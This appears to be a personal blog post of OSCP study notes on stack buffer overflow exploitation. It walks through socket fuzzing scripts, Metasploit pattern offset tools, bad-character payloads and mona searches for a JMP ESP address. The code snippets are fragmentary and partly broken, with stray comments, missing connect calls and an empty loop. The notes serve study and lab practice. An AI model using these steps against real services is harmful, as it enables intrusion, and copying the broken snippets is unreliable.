Furrukh Taj

Infosec Enthusiast

Buffer Overflow

07 Nov 2018 » buffer-overflow, offensive, security

-- This is by no means a guide on Buffer Overflow. It’s one of my quick notes I prepared while stuyding for the OSCP exam.
-- I will spend some time on this post later to improve it and possibly add complete examples.

-- PoC Code:

import socket

Create an array of buffers, from 1 to 5900, with increments of 200.

while len(buffer) <= 30:

for string in buffer:
    print "Fuzzing PASS with %s bytes" % len(string)
    s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.send(string + '\r\n')

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 550

-- Here 550 is the length at which the program crashed)
-- Now send the payload again and this will show some value in the EIP register.

/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 550 -q 35724134
[*] Exact match at offset 524

-- I changed the string to : “A”524 + “B”4 + “C”* 28

import socket

badchars = (
"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff" )

buffer = "A"*524 + "B"*4 + badchars

   print "Fuzzing PASS with %s bytes" % len(buffer)
   s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
   s.send(buffer + '\r\n')
   print "Could not connect to port 9999"

!mona modules: (to find mp esp address) ASLR or DEP shouldn’t be there and the memory range of the DLL itself does not contain bad characters, such as NULL bytes in our case.

go to “e” executable modules list. locate the dll file and double click on it. Then search for a command

311712F3   . FFE4           JMP ESP

– If “jmp esp” is not found, search for the sequence push esp retn

-- If the above is not found, go to modules by clicking “m” search for “jmp esp” OP code. to find the OP code we use nasm and it always gives the following output.

nasm > jmp esp
00000000 FFE4 jmp esp

Immunity Debugger: !mona find -s "\xff\xe4" -m application.dll

-- Now, set the EIP address to the one found from above so that “jmp esp” can be called and execution of the program points to ESP register.
-- Make sure you enter the address in “reverse order” in the payload
-- To use EAX register and jump the first few bytes (depends on the POC code for BO)

root@kali:~# /usr/share/metasploit-framework/tools/exploit/nasm_shell.rb
nasm > add eax,12
00000000 83C00C add eax,byte +0xc
nasm > jmp eax
00000000 FFE0 jmp eax
nasm >

-- EDB (evans debugger) for linux: use plugin opcode searcher ( to search for jmp esp)